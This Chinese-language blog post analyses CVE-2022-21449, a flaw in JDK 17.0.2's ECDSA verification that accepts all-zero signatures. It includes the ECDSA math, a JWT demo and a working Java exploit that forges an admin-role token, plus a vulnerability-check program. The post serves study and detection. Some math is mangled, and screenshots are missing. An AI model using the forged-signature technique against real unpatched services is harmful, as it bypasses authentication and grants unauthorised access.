CVE-2022-21449 Java SE ECDSA数字签名伪造漏洞分析与复现
创始人
2024-04-02 08:40:35

在Oracle四月份发布的 Oracle Critical Patch Update Advisory - April 2022(关键补丁更新建议)中提及了Java SE涉及的一个和数字签名有关的高危漏洞,漏洞编号为CVE-2022-21449。本文对此漏洞进行一定的分析以及复现。


文章目录

  • A.漏洞详情
  • B.漏洞成因分析
    • B1.ECDSA
      • 1.密钥生成算法
      • 2.签名算法
      • 3.验证算法
      • 4.正确性证明
    • B2.JDK中实现分析
      • 1.签名实现
      • 2.验签实现
      • 3.漏洞点分析
      • 4.利用细节
      • 5.多版本JDK实现对比
      • 6.结论
  • C.漏洞可能危害分析
    • JWT中的应用
  • D.漏洞测试代码
  • 参考


A.漏洞详情

CVE详情见:https://cve.report/CVE-2022-21449

简单翻译一下,大概有以下有效信息:
风险等级:高危
引起:主要是部分版本中 Java SE 的 ECDSA 签名机制存在缺陷导致。
危害:可能导致服务器签名被伪造,从而未授权访问。
影响版本:

  • Oracle Java SE: 17.0.2, 18
  • Oracle GraalVM Enterprise Edition: 21.3.1, 22.0.0.2
  • OpenJDK: 15,17,18

修复建议:升级到更新版本。

当然这只能帮我们大概了解一下,具体的细节还得结合签名算法去代码中分析。


B.漏洞成因分析

B1.ECDSA

ECDSA(Elliptic Curve Digital Signature Algorithm) 是使用椭圆曲线密码(ECC)对数字签名算法(DSA)的模拟。

ECDSA安全性依赖于基于椭圆曲线的有限群上的离散对数难题。与基于RSA的数字签名和基于有限域离散对数的数字签名相比,在相同的安全强度条件下,ECDSA方案具有如下特点:

  • 签名长度短
  • 密钥存储空间小
  • 特别适用于存储空间有限、带宽受限、要求高速实现的场合(如在智能卡中应用)。

1.密钥生成算法

设GF(p)GF(p)GF(p)为有限域,EEE是有限域上GF(p)GF(p)GF(p)上的椭圆曲线。选择EEE上一点G∈EG\in EG∈E,GGG的阶为满足安全要求的素数nnn,即nG=OnG=OnG=O(OOO为无穷远点)。选择一个随机数ddd,d∈[1,n−1]d \in [1, n-1]d∈[1,n−1],计算QQQ,使得Q=dGQ=dGQ=dG,那么公钥为(n,Q)(n, Q)(n,Q),私钥为(d)(d)(d)。

2.签名算法

签名者AliceAliceAlice对消息mmm签名的过程如下:

  • (1)随机选取整数kkk,k∈[1,n−1]k \in [1,n-1]k∈[1,n−1],计算kG=(x,y)kG=(x,y)kG=(x,y),r≡x(modn)r \equiv x(mod \ n)r≡x(mod n);
  • (2)计算e=h(m)e=h(m)e=h(m),hhh为安全的散列函数;
  • (3)计算s≡(e+rd)k−1(modn)s \equiv (e+rd)k^{-1}(mod \ n)s≡(e+rd)k−1(mod n)。如果r=0r=0r=0或s=0s=0s=0,则令选取随机数kkk,重新执行上面的过程。消息mmm的签名为(r,s)(r,s)(r,s)。

3.验证算法

签名接收者BobBobBob对消息mmm签名(r,s)(r,s)(r,s)的验证过程如下:

  • (1)计算e=h(m)e=h(m)e=h(m);
  • (2)计算u≡s−1e(modn)u \equiv s^{-1}e(mod \ n)u≡s−1e(mod n),v≡s−1r(modn)v \equiv s^{-1}r(mod \ n)v≡s−1r(mod n),(x1,y1)=uG+vQ(x_{1}, y_{1})=uG+vQ(x1​,y1​)=uG+vQ,r1≡x1(modn)r_{1} \equiv x_{1}(mod \ n)r1​≡x1​(mod n);
  • (3)若r=r1r=r_{1}r=r1​,则签名有效;否则,签名无效。

4.正确性证明

由于
Q=dGs≡(e+rd)k−1(modn)kG=(x,y)u≡s−1e(modn)v≡s−1r(modn)(x1,y1)=uG+vQQ=dG\\ s \equiv (e+rd)k^{-1}(mod \ n)\\ kG=(x,y)\\ u \equiv s^{-1}e(mod \ n)\\ v \equiv s^{-1}r(mod \ n)\\ (x_{1},y_{1})=uG+vQ Q=dGs≡(e+rd)k−1(mod n)kG=(x,y)u≡s−1e(mod n)v≡s−1r(mod n)(x1​,y1​)=uG+vQ
则有:
k≡(e+rd)s−1≡s−1e+s−1≡u+vd(modn)(x,y)=kG=uG+vdG=uG+vQ=(x1,y1)r1=x1modn=xmodn=rk \equiv (e+rd)s^{-1} \equiv s^{-1}e+s^{-1} \equiv u+vd (\ mod \ n)\\ (x,y)=kG=uG+vdG=uG+vQ=(x_{1},y_{1})\\ r_{1}=x_{1} \ mod \ n = x \ mod \ n=r k≡(e+rd)s−1≡s−1e+s−1≡u+vd( mod n)(x,y)=kG=uG+vdG=uG+vQ=(x1​,y1​)r1​=x1​ mod n=x mod n=r

B2.JDK中实现分析

以有此漏洞的Oracle JDK 17.0.2分析其实现过程。

其中EC密钥生成由sun.security.ec包下的public final class ECKeyPairGenerator extends KeyPairGeneratorSpi类实现,此次分析不涉及。

1.签名实现

其中ECDSA签名算法由sun.security.ec包下的abstract class ECDSASignature extends SignatureSpi类实现,共支持以下签名算法:
在这里插入图片描述
签名算法代码如下:

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

这里有几个需要注意的细节:

  • 在签名后,若不使用IEEE P1363标准则会进行DER编码。
  • 签名的过程可能会因为选择数kkk不合适导致rrr或sss为0,若为0,最多尝试128次。

2.验签实现

然后看看验证算法,和签名算法在同一个类中实现:

在这里插入图片描述
在这里插入图片描述

这里也有几个注意的细节:

  • 验签的时候,如果不使用IEEE P1363标准,会进行DER解码。
  • 如果签名的长度不是偶数,或者超过最大长度,就会直接返回false。

3.漏洞点分析

这次的漏洞点就出现在验签的算法里,并没有验证rrr和sss为0的情况,而签名的过程是保证了rrr和sss不为0的,这样攻击者只要将签名的rrr和sss伪造成0,就可以通过所有验签!!!

数学原理:
(x1,y1)=uG+vQ=(0,0)r1=x1modn=0=r(x_{1}, y_{1})=uG+vQ=(0,0)\\ r_{1}=x_{1} \ mod \ n=0=r (x1​,y1​)=uG+vQ=(0,0)r1​=x1​ mod n=0=r
当然,上述式子成立的前提是s−1=0s^{-1}=0s−1=0,实际上零元是没有逆元的,但是JDK中是使用费马小定理求解逆元的,并且没有特判0,所以在JDK中的计算是满足s−1=0s^{-1}=0s−1=0的。

在这里插入图片描述

在这里插入图片描述

4.利用细节

先不考虑版本问题,漏洞出现在ECDSAOperations这个类上,所以凡是使用到这个类验签的算法都有可能有问题,ECDSA相关的算法命名如下:

SHA256withECDSAinP1363Format

最前面是使用的哈希算法,不管使用哪种哈希算法都存在上述漏洞。
中间说明是使用的是ECDSA,只有使用这种算法的才存在上述漏洞。
末尾表示是否使用IEEEP1363标准,只有采用这种标准的算法才会出现问题,Why?

因为如果采用DER解码,会在解码的时候顺便校验一下参数:

在这里插入图片描述

再结合上述验签过程中的特判,只有当伪造的签名长度为偶数,且不超过签名字节数,才能成功伪造。

5.多版本JDK实现对比

在Oracle JDK17.0.3中即修复了该漏洞,修复后如下:

在这里插入图片描述
在Oracle JDK15.0.2中是由native方法实现的,也就是说是cpp写的:

在这里插入图片描述

6.结论

  • 1.因为ECDSAOperations这个类的验签算法中没有验证rrr和sss为0的特殊清楚,而JDK中求乘法逆元恰好使用了费马小定理并且没特判0,导致了这个漏洞的产生。
  • 2.该漏洞涵盖的签名算法包括SHAXXXwithECDSAinP1363Format,其中何种签名算法不影响,不使用IEEE P1363标准则会在DER解码的时候抛出异常。
  • 3.payload只要是长度为偶数且不超过签名长度的空字节数组都可以。
  • 4.Oracle JDK17.0.3和18.0.1中修复了该漏洞。
  • 5.Oracle JDK16之前的版本因为使用native实现的验签,所以没受到影响。

C.漏洞可能危害分析

JWT中的应用

在WEB站点中,常使用的JWT(JSON Web Tokens)技术实现无状态的认证,JWT的构成非常简单,字节占用很小,非常便于传输。

JWT由3部分组成:标头(Header)、有效载荷(Payload)和签名(Signature)。在传输的时候,会将JWT的3部分分别进行Base64编码后用.进行连接形成最终传输的字符串。

数字签名能够保证token不被篡改。但是如果其中的签名算法使用的是Oracle JDK17.0.2的话,就容易造成身份被伪造。

如下,一个简单的JWT类:

package cve_2022_21449;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.interfaces.ECPrivateKey;
import java.security.interfaces.ECPublicKey;
import java.util.Base64;class ECDSA{private static final String algorithmName = "SHA256withECDSAinP1363Format";public KeyPair keyGen() throws Exception {KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("EC");keyPairGenerator.initialize(256);return keyPairGenerator.genKeyPair();}public byte[] sign(byte[] str, ECPrivateKey privateKey) throws Exception {Signature signature = Signature.getInstance(algorithmName);signature.initSign(privateKey);signature.update(str);return signature.sign();}public boolean verify(byte[] sig, byte[] str , ECPublicKey publicKey) throws Exception {Signature signature = Signature.getInstance(algorithmName);signature.initVerify(publicKey);signature.update(str);return signature.verify(sig);}
}
public class JWT {public static int EXPIRE = 60 * 60 * 1000;private final static ECDSA ecdsa = new ECDSA();public final static String normalRole = "normal";public final static String adminRole = "admin";private static String getHeader() {JSONObject header = new JSONObject();header.put("alg", "SHA256withECDSAinP1363Format");header.put("typ", "JWT");return Base64.getUrlEncoder().encodeToString(header.toJSONString().getBytes());}private static String getPayload(String user) {JSONObject payload = new JSONObject();payload.put("exp", System.currentTimeMillis() + EXPIRE);payload.put("name", user);payload.put("role", normalRole);return Base64.getUrlEncoder().encodeToString(payload.toJSONString().getBytes());}public static String generateToken(String user, ECPrivateKey ecPrivateKey) throws Exception {String content = String.format("%s.%s", getHeader(), getPayload(user));byte[] sig = ecdsa.sign(content.getBytes(), ecPrivateKey);String sigB64 = Base64.getUrlEncoder().encodeToString(sig);return String.format("%s.%s", content, sigB64);}public static boolean verifyToken(String token, ECPublicKey ecPublicKey) throws Exception {String[] tokens = token.split("\\.");if (tokens.length != 3) {return false;}else {String sigB64 = tokens[2];String content = String.format("%s.%s", tokens[0], tokens[1]);byte[] sig = Base64.getUrlDecoder().decode(sigB64);return ecdsa.verify(sig, content.getBytes(), ecPublicKey);}}public static String getRole(String token, ECPublicKey ecPublicKey) throws Exception {if(!verifyToken(token, ecPublicKey)) {throw new Exception("verify signature fail");}return (String)JSON.parseObject(new String(Base64.getUrlDecoder().decode(token.split("\\.")[1]))).get("role");}
}

即可利用该漏洞篡改payload中的信息,并且伪造签名通过验证,Exploit如下:

package cve_2022_21449;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;import java.security.KeyPair;
import java.security.interfaces.ECPrivateKey;
import java.security.interfaces.ECPublicKey;
import java.util.Base64;public class Expolit {private final static ECDSA ecdsa = new ECDSA();private final static String userName = "atfwus";private static String tamperToken(String oldToken) {String[] tokens = oldToken.split("\\.");String payloadDecodeString = new String(Base64.getUrlDecoder().decode(tokens[1]));JSONObject payload = JSON.parseObject(payloadDecodeString);payload.put("role", JWT.adminRole);String newPayloadB64 = Base64.getUrlEncoder().encodeToString(payload.toJSONString().getBytes());byte[] fakeSig = new byte[64];String fakeSigB64 = Base64.getUrlEncoder().encodeToString(fakeSig);return String.format("%s.%s.%s", tokens[0], newPayloadB64, fakeSigB64);}public static void main(String[] args) throws Exception {KeyPair keyPair = ecdsa.keyGen();ECPrivateKey ecPrivateKey = (ECPrivateKey) keyPair.getPrivate();ECPublicKey ecPublicKey = (ECPublicKey) keyPair.getPublic();String myToken = JWT.generateToken(userName, ecPrivateKey);System.out.printf("my token is:%s\n", myToken);System.out.printf("my role is:%s\n", JWT.getRole(myToken, ecPublicKey));String fakeToken = tamperToken(myToken);System.out.printf("fake token is:%s\n", fakeToken);System.out.printf("my role is:%s\n", JWT.getRole(fakeToken, ecPublicKey));}
}

效果如下:

在这里插入图片描述


D.漏洞测试代码

package cve_2022_21449;import java.nio.charset.StandardCharsets;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.interfaces.ECPrivateKey;
import java.security.interfaces.ECPublicKey;class ECDSA{private static final String algorithmName = "SHA256withECDSAinP1363Format";public KeyPair keyGen() throws Exception {KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("EC");keyPairGenerator.initialize(256);return keyPairGenerator.genKeyPair();}public byte[] sign(byte[] str, ECPrivateKey privateKey) throws Exception {Signature signature = Signature.getInstance(algorithmName);signature.initSign(privateKey);signature.update(str);return signature.sign();}public boolean verify(byte[] sig, byte[] str , ECPublicKey publicKey) throws Exception {Signature signature = Signature.getInstance(algorithmName);signature.initVerify(publicKey);signature.update(str);return signature.verify(sig);}
}public class Test {public static ECDSA ecdsa = new ECDSA();public static void main(String[] args) throws Exception{KeyPair keyPair = ecdsa.keyGen();ECPrivateKey ecPrivateKey = (ECPrivateKey) keyPair.getPrivate();ECPublicKey ecPublicKey = (ECPublicKey) keyPair.getPublic();String content = "ATFWUShahahahahahaaha";byte[] c = content.getBytes(StandardCharsets.UTF_8);byte[] sig = ecdsa.sign(c, ecPrivateKey);byte[] fake = new byte[2];boolean verifySuccess = false;try {verifySuccess = ecdsa.verify(fake, c, ecPublicKey);} catch (Exception e) {e.printStackTrace();}if(verifySuccess) {System.out.println("当前JDK版本存在cve_2022_21449漏洞!!!");} else {System.out.println("当前JDK版本不存在cve_2022_21449漏洞。");}}
}

参考

  • https://cve.report/CVE-2022-21449
  • https://www.oracle.com/security-alerts/cpuapr2022.html
  • Oracle JDK14.0.2、15.0.2、16.0.2、17.0.1、17.0.2、17.0.3、18、18.0.1源码
  • (Version2) Introduction to Modern Cryptogr-Jonathan Katz
  • https://baike.baidu.com/item/DER/1810809

ATFWUS 2022-10-31

上一篇:C语言文件操作

下一篇:监控服务器体系

相关内容

热门资讯

埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
长白山自助游攻略 吉林长白山游... 昨天介绍了西坡的景点详细请看链接:一个人的旅行,据说能看到长白山天池全凭运气,您的运气如何?今日介绍...
世界上最漂亮的人 世界上最漂亮... 此前在某网上,选出了全球265万颜值姣好的女性。从这些数量庞大的女性群体中,人们投票选出了心目中最美...
应用未安装解决办法 平板应用未... ---IT小技术,每天Get一个小技能!一、前言描述苹果IPad2居然不能安装怎么办?与此IPad不...
脚上的穴位图 脚面经络图对应的... 人体穴位作用图解大全更清晰直观的标注了各个人体穴位的作用,包括头部穴位图、胸部穴位图、背部穴位图、胳...
猫咪吃了塑料袋怎么办 猫咪误食... 你知道吗?塑料袋放久了会长猫哦!要说猫咪对塑料袋的喜爱程度完完全全可以媲美纸箱家里只要一有塑料袋的响...
demo什么意思 demo版本... 618快到了,各位的小金库大概也在准备开闸放水了吧。没有小金库的,也该向老婆撒娇卖萌服个软了,一切只...
埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
长白山自助游攻略 吉林长白山游... 昨天介绍了西坡的景点详细请看链接:一个人的旅行,据说能看到长白山天池全凭运气,您的运气如何?今日介绍...
应用未安装解决办法 平板应用未... ---IT小技术,每天Get一个小技能!一、前言描述苹果IPad2居然不能安装怎么办?与此IPad不...
脚上的穴位图 脚面经络图对应的... 人体穴位作用图解大全更清晰直观的标注了各个人体穴位的作用,包括头部穴位图、胸部穴位图、背部穴位图、胳...
猫咪吃了塑料袋怎么办 猫咪误食... 你知道吗?塑料袋放久了会长猫哦!要说猫咪对塑料袋的喜爱程度完完全全可以媲美纸箱家里只要一有塑料袋的响...
demo什么意思 demo版本... 618快到了,各位的小金库大概也在准备开闸放水了吧。没有小金库的,也该向老婆撒娇卖萌服个软了,一切只...
世界上最漂亮的人 世界上最漂亮... 此前在某网上,选出了全球265万颜值姣好的女性。从这些数量庞大的女性群体中,人们投票选出了心目中最美...